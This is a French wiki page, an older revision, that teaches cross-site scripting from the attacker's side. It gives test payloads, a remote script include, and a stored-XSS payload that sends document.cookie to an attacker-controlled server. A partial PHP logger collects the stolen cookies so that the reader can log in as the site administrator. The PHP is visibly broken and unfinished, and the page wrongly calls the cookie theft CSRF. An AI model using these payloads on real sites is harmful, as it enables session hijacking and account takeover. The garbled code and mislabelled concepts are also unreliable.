Outils pour utilisateurs

Outils du site


web:injection_xss

Ceci est une ancienne révision du document !


Failles XSS:

Le cross-site scripting (abrégé XSS), est un type de faille de sécurité des sites web permettant d'injecter du contenu dans une page. Elle permet ainsi de provoquer des actions sur les navigateurs web visitant la page.

Elle est liée à un code HTML qui n'est pas paralysé.

Comment la détecter :

Dans les formulaires les personnes sont censées entrer des données “formater” d'une certaine façon.

Par exemple dans un champs pseudo on s’attend à ce que la personne rentre quelque chose comme : isileaks ou is1leaks.

Si nous rentrons cela :

<b> coucou </b>

Si vous voyez apparaitre “coucou” en gras à coter du champs, le code est faillible.

Le code html c'est gentil mais injectons quelque chose de plus sérieux :

Du javascript  :

<script> alert('coucou') </script>

Si une pop-up s'ouvre c'est que le champ est faillible et que nous pourrons l'exploiter avec du JS.

Méthode 1:

On va injecter notre code javascript sur le site faillible

<script src=“http://monsite.com/monscript.js”</script>

Pour faire cela vous allez avoir besoin d'un serveur web sur lequel vous allez héberger votre script js.

Dans notre script js nous mettrons :

<script> alert(“hack by XSS”)</script>

Cela aurait pour effet d'afficher une pop-up lorsque la page du site faillible s'ouvrira.

Le code que je vous ai donné n'aura pas d’effet grave sur la victime mais vous pouvez faire de grandes choses avec du JS.

Méthode 2:

La CSRF (Cross-Site Request Forgery) est une attaque visant à faire exécuter une action à un utilisateur sans qu'il en soit conscient.

Le principe :

Envoyer un message (par exemple sur un forum qui est faillible au xss) à l'administrateur.

Dans le contenu du message nous allons mettre notre code javascript :

<script>window.open(“http://monserveur/mapage.php?cookie=”+document.cookie)</script>

Ce code javascript à pour effet d'envoyer le contenu du cookie vers votre site web

De votre coté il vous faudra un serveur web ainsi qu'une page php contenant:

<?php

if(!empty($_GET[“cookie”]))

{ $fp = fopen(“getCookie.log”, “;a+”;);

  if($fp) {
      $dateTime = new DateTime("NOW");
       fputs($fp, $dateTime-&gt;format("Y-m-d h:i:s"). &#34; : &#34;.htmlspecialchars($_GET[&#34;cookie&#34;]).&#34;\\n&#34;);
       fclose($fp);
       
        }
        
        if(!empty($_GET["admin"])) 
        {$fp = fopen("getCookie.log", &#34;r&#34;);
        while($lig = fgets($fp))
         {       echo $lig.}
         
         fclose($fp);
         };
         
         Code actuellement en cours de realisation
       
       

Lorsque l'administrateur va lire le message, la valeur de son cookie sera récupérée sur votre page php.

Pour consulter cette valeur il vous suffira de vous rendre sur la page getCookie.log qui va se crée automatiquement.

En cas d'authentification par cookie vous pourrez vous connecter en tant qu'admin

Source :http://venom630.free.fr/geo/tutz/securite_informatique/xss/

http://www.bases-hacking.org/faille-xss.html

web/injection_xss.1454399151.txt.gz · Dernière modification: 2016/07/04 08:37 (modification externe)